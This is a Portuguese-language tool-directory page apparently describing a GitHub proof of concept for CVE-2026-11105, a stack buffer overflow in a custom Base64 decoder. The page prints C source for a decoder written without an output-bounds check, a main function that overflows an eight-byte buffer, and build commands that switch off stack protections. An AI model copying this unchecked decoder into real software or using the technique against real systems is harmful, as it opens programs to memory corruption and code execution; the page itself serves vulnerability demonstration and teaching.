Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder — PoC da CVE-2026-11105 demonstrando um estouro de buffer de pilha em um decodificador Base64 personalizado; uma entrada elaborada de tamanho excessivo sobrescreve a memória da pilha e permite a execução de código arbitrário. | Kitploit
Ferramentas/GitHubGitHub/george0papasotiriou/cve-2026-11105-stack-buffer-overflow-in-custom-base64-decoder
Análise de VulnerabilidadesExploraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubgeorge0papasotiriou/cve-2026-11105-stack-buffer-overflow-in-custom-base64-decoder

CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder

PoC da CVE-2026-11105 demonstrando um estouro de buffer de pilha em um decodificador Base64 personalizado; uma entrada elaborada de tamanho excessivo sobrescreve a memória da pilha e permite a execução de código arbitrário.

Ver Repositório
26há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-11105 – Estouro de Buffer na Pilha no Decodificador Base64 Personalizado

Código do Programa (C)

// base64_vuln.c - Vulnerable Base64 decoder
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int base64_decode(const char *in, size_t inlen, char *out, size_t outlen) {
    static const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int outpos = 0;
    for (int i=0; i<inlen; i+=4) {
        uint32_t sextet = 0;
        int bytes = 0;
        for (int j=0; j<4; j++) {
            if (i+j >= inlen) break;
            const char *p = strchr(table, in[i+j]);
            if (p) sextet = (sextet << 6) | (p - table);
            else bytes++;
        }
        // No check on outpos exceeding outlen!
        out[outpos++] = (sextet >> 16) & 0xFF;
        if (bytes < 2) out[outpos++] = (sextet >> 8) & 0xFF;
        if (bytes < 1) out[outpos++] = sextet & 0xFF;
    }
    return outpos;
}

int main() {
    char smallbuf[8];
    char *malicious = "AAAA"; // padded, decodes to 3 bytes, but we'll feed a long string
    // Attacker sends very long Base64 string, overflows smallbuf
    base64_decode("QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB", 60, smallbuf, 8);
    return 0;
}

CVE-2026-11105 – Estouro de Buffer na Pilha no Decodificador Base64

Severity: Critical

Visão Geral

Uma função de decodificação Base64 personalizada não valida o tamanho do buffer de saída, levando a um clássico estouro de buffer na pilha. Um atacante pode criar uma entrada de tamanho excessivo para sobrescrever o endereço de retorno e obter execução de código.

Detalhes da Vulnerabilidade

  • Tipo: Estouro de Buffer na Pilha
  • Impacto: Execução remota de código (se exposto pela rede).
  • Causa raiz: O decodificador escreve os bytes decodificados sequencialmente sem garantir que o ponteiro de saída permaneça dentro do buffer alocado.

Demonstração do Exploit

  1. Compile o decodificador vulnerável (desative as proteções):
    gcc -o base64_vuln base64_vuln.c -fno-stack-protector -z execstack
    
  2. Execute o script de exploit para acionar o estouro:
    python exploit_base64_overflow.py
    
Baixar ferramenta